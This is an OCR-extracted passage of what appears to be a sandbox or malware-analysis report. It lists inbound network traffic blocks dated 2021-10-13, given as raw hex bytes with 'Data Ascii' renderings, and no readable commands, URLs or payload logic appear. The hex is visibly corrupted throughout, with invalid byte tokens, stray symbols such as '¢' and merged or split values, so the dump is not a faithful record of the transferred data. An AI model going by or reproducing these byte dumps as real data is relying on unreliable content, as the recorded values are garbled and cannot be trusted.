2b b3 33 39 9d d0 6d 15 bf af 3f ee b0 97 98 a7 af 27 70 b1 ab 1a 6d d6 47 19 b0 32 d6 e5 4c e0 2c 83 ba 39 d7 93 73 a6
12 el 22 f1 bf 9f f8 2a 15 64 11 2c 9b 3b 99 52 ec 4e 46 85 88 bd 41 c9 14 8d 37 Oe Oc df 77 3e 97 1f 3d 69 fc c5 7 39 b5
9d a3 482 24 ¢3 96 77 55 19 24 7c¢ 88 f5 f2 74 ea Oc a4 d8 a0 55 00 31 ca 81 12 b3 86 89 c0 06 64 bc 1a 67 c3 62 ba 02
d5 0c a3 43 93 1e a3 fe bl 52 2e d6 1c c6 4c ad 19 f8 b4 58 8f e5 d2 3a 8f 52 ef 21 34 e5 23 79 5e a9 53 ¢3 46 14 78 b4
76 1b 30 49 c8 9a 91 f3 b3 9d 3d 08 7d 91 48 b9 bd 5a
Data Ascii: fI20*Yt83xIC2;U/0jD":[n;VY1N+39m?'pmG2L,9s"*d,;RNFA7w>=i9H$WUS$|tU1dgbCR.LX:R!4#y"SFxv0I=}HZ

2021-10-13 11:06:38 UTC 151 IN Data Raw: bd 2f 13 53 d8 b0 27 9b 89 7a e6 66 4d 4d af 4d 38 86 25 3f 15 ea 6d Oc 03 76 13 ce de a6 73 8f 93 4c 44 ff {7
21 be 31 12 28 ff 3 c8 fa 0a 68 fd 5d 8f df 68 a7 29 d9 39 43 25 87 01 72 60 62 6a fc 46 3c 94 3a 42 2c b2 e7 ad b0 ad bc
91 63 19 4b 20 90 82 69 8b b2 bc 13 ff 2a 9d c1 c5 c4 8e f2 e3 ae Ob 1a 79 ec 05 a0 5e 96 2d 79 2e f7 81 2c f9 93 1f 89 72
c3f4 73 62 cb 08 3a 72 84 39 a2 89 98 c7 2e fe 96 fe cf cb 3b cb a4 57 01 9¢ 21 Oc 5e 20 ed c8 6f 36 a0 49 37 6a e ef 89
9f 87 62 4d 58 85 29 33 1e 5¢ 64 b8 c6 48 b0 24 cO 8e c6 5a d4 13 c5 3d 55 84 aa 94 47 14 bl c3 6e d8 ae af 9b a8 c6 fe
4f 7d f8 b5 e0 a9 5e 2e 64 49 06 8c 92 53 14 fb 9¢c 50 ec 80 94 76 62 e5 c1 3 c6 a8 7b a8 50 3c 2e ae ff 84 55 02 6d a9 7d
3d c4 2b d5 5d d0 5e Oc b5 f4 7a 42 92 3d
Data Ascii: /S'zftMMM8%?mvsLD!1(h]h)9C%r bjF<:B,cK i*y”-y.,rsb:r9.;W!" 0617jbMX)3\dH$Z=UGnO}".dISPvb{P<.Um}=+]"
zB=

2021-10-13 11:06:38 UTC 152 IN Data Raw: 5e ac 21 46 29 el 1c 46 ab c5 20 8b cc 61 94 54 ce 7b ee 6a 00 62 87 63 c2 33 f1 e7 b6 10 3b b0 e2 63 16 40
3¢5 7d d7 64 31 99 95 6d be e9 c2 c4 c0 6d b8 1b 9b bb cd aa c0 fc cb 42 12 be bf da da 98 bd 2a 55 e9 46 1b 23 92 8
93 a7 67 f8 d9 4f 01 c9 28 b6 fe d1 5d 64 0a 76 35 cd f2 5a 79 2e 70 6¢ 47 ca 48 dc fd 90 2e 68 0d 3f c5 5 aa d4 f2 7a {7
8c dd eb 67 94 ed f5 76 77 8f 08 11 23 cb d8 3b bb 17 6e 66 e3 39 19 99 52 59 5e b5 d6 18 60 74 b4 2a b2 5a 1c 99 1c 07
a8 db 5f 26 81 bd 88 a5 19 4f 1d 68 49 el 88 7e 65 60 9b 28 c5 ad 05 a4 1c 30 90 15 b4 79 69 ab 01 4d 8b 52 cf 31 f2 0a
ff 45 89 cc f1 80 d1 c3 7e d6 74 7a 3c 8¢ 93 40 40 40 b0 3d a3 50 88 d2 f8 20 9a c6 4b 8b c2 8d 08 3f ¢4 c0 ab 17 62 €9
5b a4 4d 02 ff 4f b2 88 fa 08 5a 60 fe 53 dd Oc 16 Of
Data Ascii: MF)F aT{jbc3;c@}d1mmB*UF#gO(]dv5Zy.pIGH.h?zgvw#;nfORYA t*Z_&Ohl~e (0yiMR1E~tz<@@ @=P K?b
[MOZ'S

2021-10-13 11:06:38 UTC 153 IN Data Raw: 50 5f 56 1a 1c 35 43 2d ae f1 Ob 50 9c 2f 21 b1 2f a6 ca 0d 53 a3 df 6d 7d 65 95 b0 89 49 6c 8b 17 Oa ad dd a9
d8 25 b8 dd 61 74 22 85 fO 2e 3d al 6¢ 26 a3 a9 01 7b Of f7 a2 ab cb 13 2e 06 ae 85 42 5e db 89 cf f8 bf a4 34 94 89 60
0Ob 8e b5 8d 19 34 5 10 03 a6 33 ae ¢6 8d 71 f3 ab 5c fd 3 cb 73 d6 cb 9f a0 da 4e 40 22 d5 60 3d d3 c7 66 55 c1 03 92
ac ea 62 29 0a 3d f4 a4 70 da 59 00 bc 72 b0 64 e4 dO fd 48 87 b1l 19 19 4c 24 8a b8 10 aa c1 b4 3d 78 Oc 09 5e 51 70 e2
dc de a9 4d 0d a0 4c 2b 1b 9f 76 ff 4c 19 73 78 63 49 37 72 9¢ 93 e2 63 87 28 c0 10 ab d3 d3 1le 56 f2 29 4c db 71 84 41
23 ef 8e 04 c5 bd ca 74 ea 06 58 06 11 ab 66 05 48 4b Ob ad 01 05 c4 81 59 ba 8a aa fa 61 54 a3 f9 64 80 eb e7 4d 0d 2e
24 0b ce f6 f5 07 f6 b3 b2 d0 f8 28 16 87 52 8d 67 59
Data Ascii: P_V5C-P/l/Sm}ell%at".=I&{.B"4 430q\sN@" =fUb)=pYrdHL$=x"QpML+vLsxcl7rc(V)LgA#XfHKYaTdM.$(RgY

2021-10-13 11:06:38 UTC 155 IN Data Raw: 51 b5 6e db 69 da f7 d4 3c cf e3 b8 ef 68 38 9f 6b 5f f3 cd 54 18 eb 8d af 10 5d 00 a3 83 b2 33 e6 cd e0 68 b8
b7 €8 01 91 49 90 28 75 c2 32 db 92 4b 8e 8b 82 0a 27 91 1d c5 ce a5 84 f2 b3 c0 Oc 7e 59 63 88 75 d6 bc 0Of al 25 08 50
el 34 a3 e9 b7 6¢ b4 f5 3e 61 b8 3a 42 ff Oe d5 65 c4 41 d9 e3 f7 78 d4 1d e0 37 04 71 d1 f4 5e 2d a8 d5 a3 62 43 42 e2
3e b6 7d 6f ac 6e 37 Of 6¢ 15 bb 66 f4 08 10 Oa 14 5a 71 5¢c d8 b3 12 5c 3e 1c 5e 6f fd 93 54 e2 ba b1 00 22 34 Oa cb 78
40 a5 dc 10 e6 75 4d 04 89 e9 ed 81 f0 13 52 8e a6 f9 ac b4 9d 1f b7 3b 6d 05 a3 e6 9f fa 18 5f 20 58 7e 7 3f 2c 01 50 ec
02 27 50 f6 bd 30 80 83 be 43 1c 9c 3e a6 da d0 34 98 a0 22 bd 88 85 7e 77 ce a6 dc 63 fb 1d 90 c5 5¢c d9 c5 2e 14 f5 e5
53 15 2¢ 77 d2 74 7c 40 9c 3b 6¢ aa c3 96 5d ef 31
Data Ascii: Qni<h8k_T]3hl(u2K'~Ycu%P4l>a:BeAx7q"-bCB>}on7IfZq\\>"oT"4x@uMR;m_ X~?,P'POC>4"~wc\.S,wt|@;!]1

2021-10-13 11:06:38 UTC 156 IN Data Raw: d7 3b f3 cf d2 93 2d 33 4c 01 6a 43 fb 72 d8 61 82 ad d4 6e 2b d4 6c 06 fa f9 fe 62 7f 56 fe b0 31 6b 67 Of 40 be
8e cale b7 0136 8c b4 7513 d9 e5 34 ¢7 53 b2 c5 df 1d ab c0 d3 e2 a6 c2 92 87 21 51 25 76 0f fa fe fb 88 b4 07 b2 f8 c4
¢3¢0 df be fd af 3b 2d ¢5 c2 04 al 58 8f 42 39 48 80 dd 2d 1d a0 b3 a2 17 24 65 8c b2 59 82 bf 76 55 71 07 ab 07 4d 7 a3
ed 5b 34 d3 dd 15 el ad 3b 37 95 b9 fd 29 70 6d 5d 87 3 df 72 55 df c2 1b 13 1b 3e 30 74 86 17 5f ac 80 78 57 39 92 fc
26 d0 9a 2a e4 5e 0b 59 b5 60 2¢ 85 0b 3¢ 17 fe 64 06 09 63 1b d6 c9 f4 Oe f5 a9 21 4b d4 c1 07 88 0d 2d 7c ed fa d8 6
37 61 ce 55 95 d9 6b ac 3e c6 3a 44 3c 8f 11 28 91 8b 92 Oa e6 c4 89 07 16 33 a2 ea 9b 99 92 92 a7 23 00 53 32 94 db 7c
dd fb f4 Oa e5 27 dd 99 bb ef a6 ae 9c da 3a
Data Ascii: ;-3LjCran+lbV1kg@6u4S!Q%v;-XBIH-$eYvUqM[4;7)pm]rU>0t_xWI&*"Y",<dc!K-|7aUk>:D<(3#S2|":

2021-10-13 11:06:38 UTC 157 IN Data Raw: f7 ce 2f bb dc 1b 75 2c 81 b7 1c 1e 73 Oc 14 4a 28 al 5b ca a3 e6 16 17 76 b6 8a c3 80 c6 64 3f 9f 2f c4 a6 59
90 d6 67 Oe a2 67 ed 6e 70 98 ef e3 fb 00 4f 7d 60 4d c3 16 69 b8 b3 1e e3 87 2a 7b f3 €3 Oc 5a eb 69 46 30 1c db 8b 30
dc 34 el Oc e0 43 6¢ 4a 84 6d 67 33 6d df fe 36 f0 90 22 0d 9a c1 20 27 15 c9 e9 af 7f 36 3f ba 74 4d 56 d1 36 6d 20 df 7c
ef 07 a8 e6 72 81 5f 46 9d 2b 4d 2e 8d 90 33 93 4f 45 20 03 23 08 7e a3 e7 da cd 34 c3 76 06 91 23 b3 db f0 5f 84 3d 4b
2f ef 20 7a bb f3 1d b5 f4 53 af 4d d3 74 ¢8 52 37 47 92 67 db 17 fe d9 af 4a 2c 81 6 40 21 49 f6 d5 al 1b af de 73 68 4f
82 c7 ec fb f0 55 9a Oc f4 b7 c3 8d c1 e4 cO 7d 17 b6 98 8a 90 db f9 6b 30 81 4c 37 Oc bf €8 91 af 7a b1 87 65 05 c2 01 a4
ed cd 57 1c 76 59 33 d7 fd 4a 60 6f 7a 77 5a
Data Ascii: /u,sJ([vd?/YggnpO} Mi*{ZiF004ClImg3m6" '62tMV6m |r_F+M.30E #~4v# =K/ zSMtR7GgJ,@'IshOU}k
0L7zeWvY3J ozwZ

2021-10-13 11:06:38 UTC 159 IN Data Raw: 65 32 14 c4 8f 2e 94 al 81 76 40 de 96 3a 7a ed 70 ac 1f f5 bc bf 5b a0 O0a a7 ec b4 73 19 ¢3 47 dc 6d af 1c e3
bc 65 bd da c5 ba d4 fa cd e2 fe 1a c6 ac 94 66 11 30 a9 c4 93 57 90 f7 d0 aa Oc 0d 50 1f 5e 7b fc c6 bc 76 aa 4c 72 34
7b a5 7f 4b 53 14 a0 aa €9 a2 f8 c2 41 e5 45 e0 2a 04 5b ac eb 6d c9 c8 51 1c 65 f2 97 bc 30 19 fc a2 a2 a6 f4 3f 1c 48 al
03 cd f6 20 17 a2 93 28 17 €5 7d 90 01 3a 21 9b 6a 1e 7c 61 21 67 0a 27 a3 c1 b4 81 b5 6b 77 4d 3a 3c 8¢ 60 4e 1d 5d
59 46 09 60 26 ac ac 5¢ 55 99 1b c2 0a db 5b 00 c4 71 f1 85 30 36 3a 91 88 cd 16 26 ca 2e 02 f3 d5 f4 83 28 b0 9d 5d 29
78 80 ea 5a 5b ¢7 09 45 dc 9c 33 23 5f b7 fd 8 cf 28 73 4b ff c9 7b 5e b7 91 96 b2 a6 ab 20 99 el 1b 08 8 ce f2 29 59 de
08 0f bd 34 de aa d4 28 f8 b9 1e a5 el 98 66 ed a7
Data Ascii: €2.v@:zp[sGmefOWPMNVLr4{KSAE*ImQe0?H (}:!jlalg’kwM:<*N]YF &\U[q06:&.(1)XZ[E3#_(sK{" )Y4(f

2021-10-13 11:06:38 UTC 160 IN Data Raw: b1 78 fb 21 9b 65 73 aa a4 9a 4a 19 50 23 94 0d Oe 10 5b 56 1b 49 06 46 fc ad eb al 03 20 68 58 57 €9 d1 Oe
05 be bd 49 el 8a c9 39 39 ba 9f 94 ba d0 30 da 29 41 7b e8 e8 85 5f Of 6d bc 79 10 97 69 99 18 89 10 5¢ ca 95 4d 59 83
52 74 4b ab 22 40 9f 98 d1 67 34 a0 be bb af 88 d2 86 05 fd 2d 04 7b 90 8c fc 7f 13 12 42 16 c1 c8 4f a9 5a 21 dc 09 69
95 d3 5f e4 77 fa f1 5b 44 3f 2a 8f cc ef f6 b2 3c 7 €3 3d 32 8e 18 0d 94 cc 52 78 8b 9a 44 12 76 08 c2 Ob 22 d3 13 ac 6e
9d 7c d7 fc ¢8 7b d9 e0 ab bc 11 74 83 3c 5e ac ¢5 58 6¢ 9d el c0 69 5f 21 ab 86 a0 2f ec d6 df 40 ff ae f6 19 8d 33 aa 77
22 da 45 8f b8 1d d8 e5 f1 5e 6¢ bb Ob ba ea 85 a4 da 9f d2 04 5e 09 43 8d 72 e3 a4 Ob ae 25 1b 5b e8 2e ad c3 9a 6f 8¢
d4 1f 79 9a 20 62 cb 24 f2 6f f3 4b c3 ab cc 22 el
Data Ascii: x!lesJP#[VIF hXWI990)A{_myi\MYRtK"@g4-{BOZ!i_w[D?*<=2RxDv"n|{t<"Xli_!/@3w"EN"Cr%[.oy b$oK"

2021-10-13 11:06:38 UTC 161 IN Data Raw: fe 5e ec 08 28 95 Ob a0 60 52 cf 2a 56 9f 53 ¢7 3¢ f9 28 e7 3e 9d fd c2 a2 e5 ef 5¢c ee 18 77 77 db ef 1e 1f 1a
ac 72 f3 48 d4 91 bd 63 da 86 1d c9 c3 c6 48 42 df e5 87 38 50 e3 74 85 67 48 f9 70 bc 89 cf 25 55 63 €7 30 a4 Oc 12 1d
d1 94 b7 7f 26 al 2a 2b 37 de b8 3f 13 ae f5 64 fa 31 a6 7c 2d 2c f2 2b 87 28 54 1e dd 9d 5¢ dc 4b e4 17 bb 6a 76 b3 6a 5f
49 42 11 7f 0d c3 ¢9 24 39 33 10 ad 85 f8 23 1c 51 d4 3d 00 2f Of af e6 bl ac bf 8d 53 67 5e 9e 4a bc 91 dc 9e 41 97 c0 c2
82 3e 2f 5a 0b 66 1d €9 44 9d 2d c5 ef 9b 79 35 bb 07 10 a0 ff ec 71 0d 37 b9 97 7a 12 14 41 42 a9 9c cc 11 b3 16 26 fd
d3 2c 12 83 bf 61 e4 5a 8a 98 8¢ 2b a3 8¢ f7 f3 a0 fe 5 85 1f 67 02 31 17 be f9 c8 b1 b3 Oe a2 fe 96 94 d9 c7 b8 d6 ab 25
15 fd ee 2d 8d 6¢ ab 72 90 a2 60 6a dd d2 f5
Data Ascii: A R*VS<(>\wwrHcHB8PtgHp%Uc0&*+72d1|-,+(T\Kjvj_IB$93#Q=/Sg"IA>/ZfD-y5q7zAB&,aZ+g1%-Ir'j
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kBytes
Timestamp transferred Direction Data

2021-10-13 11:06:38 UTC 162 IN Data Raw: ee b8 d0 2d de 4f a4 7a 46 30 d7 9b 11 67 e2 9c f1 5d 7e 49 9f 15 65 dc 94 2a c1 97 a9 91 46 e6 34 cf 5¢ 29
7424 45 61 49 c8 a9 Ob 05 01 18 5a 7c ca 9f 15 c8 9e 91 34 4c 21 05 99 34 2f f7 82 40 b8 3e 77 1a ed b7 d4 c0 b1 50 62
ca e8 97 ea e5 d5 4a ca 6a 34 55 dc c1 cc d2 3b 04 1f 73 73 f9 2c 79 64 6e e8 14 5e 7c eb a4 3e 9c 87 ff 46 5a b1l 2b 8a
d5 de 0d al 9f Of aa ee e6 14 53 93 e8 e2 3a aa 3f c1 87 5b 8d 8a 10 55 de be 17 10 00 24 92 08 27 1d 32 84 cd 14 3e 38
f2 48 16 73 cd 6¢ 9a be 09 82 20 a6 ef 6b 8b c9 11 cf 47 bf 5d 81 64 b1 28 78 53 10 6e 75 c8 65 ca 88 b1 09 28 c3 c9 da
65 b4 77 dd Ob 55 65 aa 08 44 d7 46 51 19 80 95 1b 14 5f e2 d6 4c 90 70 8a d4 76 cf 3d 09 6d ae d5 5 7b ea Oc 84 fO b9
7b 30 01 d1 9c 23 82 b9 a3 42 78 fd b9 1a 03 e3 6a b9 ae
Data Ascii: -OzFO0g]~le*F4\)t$EalZ|4L!4/@>WPbJj4U;ss,ydn"|>FZ+S:?[U$'2>8Hs| kG]d(xSnue(ewUeDFQ_Lpv=m{{0#Bxj

2021-10-13 11:06:38 UTC 163 IN Data Raw: bc 2f 0d ¢5 6b 6d b2 dO cf a8 5¢c 74 b7 74 2f al 99 a9 1e 71 5a 99 2e 7c 23 ff 3d 4d 48 89 a7 4e 57 cd 74 44 9d
€0 3d bb bc 76 17 35 9b 88 32 06 3e cc e2 ee d8 db e3 dc 8b 65 6a 8b cc a2 5¢ 12 f7 10 13 9e 61 c7 82 db 3c ea 11 0a b6
a9 326851 9599 ee d9 57 €0 20 c4 2a eb e2 1c 48 7a af 19 al 72 cf 28 56 ba 45 83 d0 51 el d5 7a 8a 22 92 7e 86 dd ab
04 a6 88 48 08 f8 9a 41 7f 4d 60 f0 61 €9 b6 7e f3 1d fd e2 76 75 0d ac eb 84 3c 5c fc 5e 06 f3 32 da ae 1c b9 be b7 ec d1
cd 68 05 9b ba c5 5a el 43 27 66 aa 4e 42 89 b4 31 c7 2d ff 2f 04 45 80 65 56 73 cf 1d 95 dO b3 d4 79 5¢ 9b c6 f4 da 2e
4c 92 41 3e 93 62 6f 43 3e d4 d8 69 2c a4 40 49 5a 8a e0 89 7a €9 69 51 c5 b1 90 1b 02 7c €0 b3 b5 04 b7 2f 29 eb 81 64
d7 03 8d 41 75 b6 da 82 58 05 1f 10 b3 02 8f 3a c7
Data Ascii: /km\tt/qZ.|#=MHNWtD=v52>ej\a<2hQW *Hzr(VEQz"~HAM a~vu<\*2hZC'fNB1-/EeVsy\.LA>boC>i,@1Zzi
Ql|/)dAuX:

2021-10-13 11:06:38 UTC 164 IN Data Raw: d8 48 94 ca b9 8e 4a 0d 86 ca 66 dO 4e 8b b8 ba 34 d4 d5 9b 05 ab db ef cd 09 88 6d a7 e5 7 {7 bc d2 0f 3b
4a 29 65 ce a7 8f f3 b4 ae 2c 77 4d 76 81 a2 fO 1c 05 bf 29 57 68 6a 33 b1 c5 23 76 73 e8 b5 59 bc 13 65 de 24 d3 41 e8
70 eb 47 {7 9d dO 6¢ 8f 5¢c 68 22 a8 9d 36 5¢ d7 65 c7 e7 52 9a 8e 29 5e 98 €9 36 f6 a9 91 52 8f b0 f2 11 9c f2 9b b7 9e a4
80 13 7a 09 c0 4f ca 8c aa 3e 40 66 1b 60 4f f3 99 21 c¢7 b2 c0 fc 1e 66 bd 8e d3 8b b8 3c 47 d7 28 ed al 89 20 Oa 5e fd
11 3c b1 05 97 2e ab b5 3c 36 20 c2 e4 76 cd f9 78 a8 bb 28 e3 d7 9b fe f9 6e 30 a5 0f 11 3e d5 ce dc ba 8f 4b 42 91 27
0187 04 76 7c 86 f2 c9 55 e2 94 13 9b 63 2b f0 28 28 b5 fc 6d ef b9 3e b8 92 29 96 98 43 90 22 73 ac ab 8a 49 40 54 3d
91 37 d5 72 4d c0 6¢ af b8 2f c9 40 5a 89 10 el 24 cc
Data Ascii: HIfN4m;J)e,wMv)Whj3#vsYe$ApGI\h"6\eR)"6RzO>@f O!f<G( "<.<6 vX(n0>KB'v|Uc+((m>)C"sI@T=7rMI/@Z$

2021-10-13 11:06:38 UTC 166 IN Data Raw: 4d 1f f3 33 a8 8d d9 c5 7a 3a 7c ca f4 04 39 2f 31 4f b1 87 ee 3a a2 58 78 b3 ec 24 87 8c b0 73 54 1c Ob 84 80
30 18 83 6d f8 b7 fc 6¢ 8¢ 16 7a 18 14 c3 fc c4 e5 8b 9e ec ae de bl f4 9 73 ad ee 92 Ob 1e 43 ec 37 96 7e ba 99 ed 98 4f
Oc b3 2b 64 7d 76 dO f6 c8 77 79 8c 55 75 29 97 a4 c8 70 e4 c7 10 6f 2b d6 aa 9c 57 84 04 46 c0 7 60 49 2c d5 93 3b al
65 1f 2b 97 1e 01 4d f1 e9 ee ea d6 cb 49 f7 a0 26 76 9d ae 97 56 44 e3 03 03 e0 ed 7b 85 9b 38 a3 2f 07 b7 €9 92 20 6f
4b 9e ae 98 Oe de 77 d1 6a 6a f9 e5 3d 6e bc 2d e7 0d 50 52 10 77 Oe 03 c¢7 50 a5 2a 68 c1 6f 92 6d 82 a9 12 a0 b1 cO 3e
6f a7 a5 40 37 c9 26 ce bf fe fe de 8d 42 98 3 3e 57 50 f3 35 83 74 d3 ea e6 61 f3 21 ¢3 d6 22 34 b9 fa 9c 90 f3 65 04 d6
34 9f ac 38 44 6a 77 ee 70 15 85 fb 3d 8f ad 09
Data Ascii: M3z:|9/10:Xx$sTOmIzsC7~O+d}vwyUu)po+WF'l,;e+MI&vVD{8/ oKwjj=n-PRwP*hom>0@7&B>WP5ta!"4e48
Djwp=

2021-10-13 11:06:38 UTC 167 IN Data Raw: 8c 82 fc 07 5f e0 2c d5 9b fe dd ca 1d 89 3d f1 f5 c4 55 f8 4a 36 ec dc 86 46 43 d6 b9 4c 22 29 78 76 07 cb Oa
1a 48 ab c8 b6 90 83 3c 5b b7 59 ce 62 c5 9b 9b 2a 04 47 6d f6 46 60 16 ca 3d bd f8 1d b4 84 bc ce el 8a e2 dd 37 60 a9
58 bb 01 de 95 d8 bb e8 5e df c4 87 c5 97 bb af 0f d5 d3 e6 72 ba 16 b9 c3 9f 82 5f 8b b3 b3 el bb el 52 6f 1b ed ea fc 89
d9 739 f8 1c 5b 1b eb 77 74 c3 be 52 3d e7 50 5b d1 64 31 ad a8 46 88 be a5 a4 b7 20 4d d8 33 43 40 78 70 ed 90 60 Of
e3 6¢ 89 5¢ 7f 02 8d 9f 30 41 13 b3 f5 72 55 38 c3 2e 6¢ el ec 36 00 a8 a3 87 89 2e 64 12 e2 ed 9d €6 1e a5 b9 Oc 7c de
d7 d7 f2 8c ac 3e 8e c4 2a 62 49 ee Oe ff 57 1d c7 f9 89 67 8f 5d c2 8b af 26 75 36 2e 59 64 8d 12 08 58 12 5f 3b 83 1a 91
c03c0d 43 2b 27 c2 73 a5 ed fb 7e a9 ae cl da
Data Ascii: _,=UJ6FCL")xVH<[Yb*GmF =7"X"r_Ros[wtR=P[d1F M3C@xp \OArU8.16.d|>*bIWg]&u6.YdX_;<C+'s~

2021-10-13 11:06:38 UTC 168 IN Data Raw: 55 96 97 4e 15 39 52 fe be 52 2e f6 7a eb cc ad 14 f0 Oe 5b 55 eb f4 bc f1 cb ee 21 b0 ¢5 3b 5a c9 a8 16 ee 67
06 5e 94 7f 18 b0 49 9 d6 2b f2 56 8a 03 20 50 93 48 bf 17 dc 8b 60 05 b6 46 f3 51 43 38 61 1e 30 2f 05 bb 3c 64 d9 55
44 11 92 3f 38 90 d8 45 4c 21 4c 5f f4 00 20 30 22 4d b0 87 cc 90 b2 4c 59 24 91 29 1b 81 b1 73 e4 00 93 19 81 26 d1 08
9 5 bf ec ad 16 58 78 19 14 2b c¢7 d4 f0 8d 39 29 90 ce 2b aa f9 ef 8e fe 81 0a f9 f4 07 25 85 7f fe 04 e0 88 4d 0d a2 df 70
6e 92 d3 e7 9b ae 14 8e 54 75 a5 8e a9 20 67 62 83 35 7c b9 b5 aa 4a 42 89 17 47 91 c9 17 4d 3f d4 8b fe ae 76 1d 2a 86
a3 07 11 9a el ff ¢5 1e b8 4b f6 a0 48 69 8b 27 90 d6 30 f4 10 81 dd 6d ec 84 db 37 f5 38 11 e9 aa 9d 76 3 e3 9f ee 86 58
48 3a 41 2b 99 6 f2 40 14 de 2f b1 8d c7 45
Data Ascii: UN9RR.z[U!;Zg+V PH'FQC8a0/<dUD?8EL!L_ 0"MLY$)s&Xx+9)+%MpnTu gb5|JIBGM?V*KHi'Om78vXH:A+@
IE

2021-10-13 11:06:38 UTC 169 IN Data Raw: 76 1b ea ce d1 34 54 2b a6 16 e7 b9 b4 99 70 55 9c¢ d3 37 6d a5 37 a6 8d e3 a7 3d Of Oe 24 dc b8 38 bO ff db
fd 89 6d a2 f3 96 58 89 60 34 c1 3d 92 23 ff 63 78 2f 84 b5 31 ba a5 b9 4e 92 bd 67 7b 20 80 b0 2d 22 74 18 37 78 ff 96
48 f1 84 ef 05 09 63 bb 92 8d b5 80 e4 05 ab 28 dd a3 44 91 fa 5f 5¢ b9 01 ¢0 50 59 df ef cc d4 28 6d 59 51 0d ¢7 71 56 3¢
91 13 18 81 29 77 el da 32 6d c8 84 e8 5b 99 60 78 da 10 e0 2d dd 28 d7 ad fa 76 28 a6 c7 b7 0a 61 c9 22 4f ff 9e 4b 5e
c0 a8 81 1e 0f 4b ca e8 d1 46 8a fe b9 4f d8 6e 94 51 a9 14 ef 43 08 80 6¢ al fd 00 d3 4d d0 5b 39 9b 29 eb cf a6 8f b5 b7
98 24 b5 42 4e 81 75 f0 92 04 be 29 11 6b a0 39 7e ca 8f 75 a4 e8 25 58 bd 13 27 dd 5f df 3d e7 48 eb fb 6d Oe d1 6e 8f
4d 70 3c 9a 1b 36 64 d7 06 e5 70 53 38 8e 2f 46 dO
Data Ascii: v4T+pU7m7=$8mX 4=#cx/INg{ -“t7xHc(D_\PY(mYQqV<)w2m[ x-(v(a"OK "KFONQCIM[9)$BNu)k9~u%X'_=H
mnMp<6dpS8/F

2021-10-13 11:06:38 UTC 171 IN Data Raw: c5 e8 71 20 3f 60 fd 2f 99 3b 99 c8 da 63 43 a4 1e bf 68 c9 08 ab 79 23 Oc df 7b 31 7b 33 89 6d dO ef c9 41 2d
9c a3 4c c1 23 72 93 87 de 16 09 dd a4 d4 f5 77 ea 1f 84 a6 bc a5 11 05 e2 08 02 b2 80 a3 42 6b fd 2a 1b d9 eb 40 b9 f6
c1 97 86 6e 82 2b 83 61 b3 ce 2a dc 7a d7 59 ac 05 d0 99 49 8f ae ff fc eb el ee 55 25 ¢4 2a 7a 5e ba c9 0b 6e {6 4f be 7f
4c 27 48 €8 f6 bc €0 b3 1d 0d fb 52 b9 48 df 8f dd 9d 40 92 a4 ad b6 5a d4 22 4b 1e e8 b6 04 ad 1c f3 cb af 77 Ob 49 3d
12 90 80 df 4d 37 6¢ c8 e6 04 e0 22 ef 57 9a 87 54 0a b3 5a 79 b3 83 22 94 a0 41 62 ce 00 33 85 80 30 f1 9f eb e5 35 €8
76 a4 2c 78 79 09 2a d6 d4 e7 99 9e b6 80 be bb df f9 f3 90 ff 90 Oa 1e f2 e1 30 92 8f ab 4e e0 d4 6e Oc b3 df 6d 7e 74 9¢c
1 2d 5e 5e 8e c0 50 a4 9f a9 ca 62 e4 70 26 6¢
Data Ascii: q ?'/;cChy#{1{8mA-L#rwBk*@n+a*zY1U%*z*"nOL'HRH@Z"KwI=M7I"WTZy"Ab305v,xy*ONnm~t-*"Pbp&I

2021-10-13 11:06:38 UTC 172 IN Data Raw: ¢9 07 17 a5 ad 15 60 cf 19 83 db 92 3c 74 2f 86 87 dd 1c 6d 8e 8f 4c 17 87 6a b6 6b 7a fc 87 69 3a f0 4¢c 60 50
8ace af 1c e7 a3 51 1f bd 13 58 11 7c 4f 9a be 25 97 02 e8 e9 f6 57 81 47 ac 4e 4c 85 da 8a 27 08 97 Oc fb 02 6e 64 78
60 13 7d c9 86 46 79 Oe 7e ce e7 31 d0 98 66 5d 8b d2 60 eb 88 c9 53 55 €3 33 79 Oe Of 24 4b bf 4c 8b ee f5 40 40 6d 6a
b7 97 5e 89 f7 33 da 7c 83 bb bc a9 78 fb cO b4 75 b8 88 ab 55 57 8d 42 7f 71 80 b8 6b 23 72 00 04 5b 06 47 78 Of 85 be
05 1d 25 ba d4 8e d2 8d 42 2a 90 0d d9 f1 44 d9 bc 5e 1a ba 5¢ cd 49 6¢ e4 11 cd 86 28 39 1f 50 4b c4 1d 5b 8f 0a 39 d6
80 7a 77 69 9c 33 6b dO b7 cb a2 38 4a e0 d9 43 €0 b9 9b 29 91 ae 9d 7b 8e 06 c3 06 Oe 35 c9 ea 09 fe d8 48 03 cd bl
34 1a b3 4f 9e €8 05 00 8b b8 ba 23 d5 dd bb 68 €0 15 ba
Data Ascii: "<t/mLjkzi:L"PQX|O%WGNL'ndx }Fy~1f]' SU3y$KL@ @mj*3|xuUWBgk#r[Gx%B*DMII(9PK[9zwi3k8JC){5H40%#h
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2021-10-13 11:06:38 UTC 173 IN Data Raw: 1d 9a Oc 7e 6f 30 bc Ob 17 26 e7 €9 0d 99 45 4a 04 17 26 01 8a 1f 70 64 b4 d5 16 76 28 95 89 1d 62 2b b3 2¢
29 ad ce 4a 45 9a f4 b9 e0 al 97 98 a3 8f 23 73 26 aa 93 48 8a 55 63 1a 36 d5 e5 4c c1 6¢ b9 bd 2a c8 ed 5b fbh 9b e0 24
db 39 f0 61 bc 14 16 12 5b 98 ff 12 c9 c9 63 54 b5 a8 2c 43 5f 37 dc 78 97 2e df 68 31 bf 34 27 5a df fc 75 36 2c 30 2f 4d
d2 23 c0 fO 74 58 3d 89 4c df d5 f1 fa eb Oc 84 86 8b 4d 33 0a f1 ac 61 b3 bf 2e 43 78 fd bd 7c 60 92 7a aa 02 a4 96 c8 e3
8338836 f6 51 b9 7 84 ea 3d ad 59 5d 98 5a 8f €3 e9 a4 c8 ee 68 21 41 c5 fa f7 5f a9 c9 e6 7d 06 c9 95 54 3c 41 49 cc
78 bd f3 b3 82 19 20 ¢7 92 79 9b €6 dc 4d ce 93 b7 ad fb 4b 43 af 60 5d 14 dd 05 25 93 f2 d8 af 4c 09 92 a8 39 ce fc bl 4c
0Of fc c9 5 04 29 36 22 da bl f6 €8 64 b2 ca
Data Ascii: ~00&EJ&pdv(b+,)JE#s&HUCELI*[$9a[cT,C_7x.h14'Zu6,0/M#tX=LM3a.Cx| z8Q=Y]Zh!A_}T<Alx yMKC']
%L9L)6"d

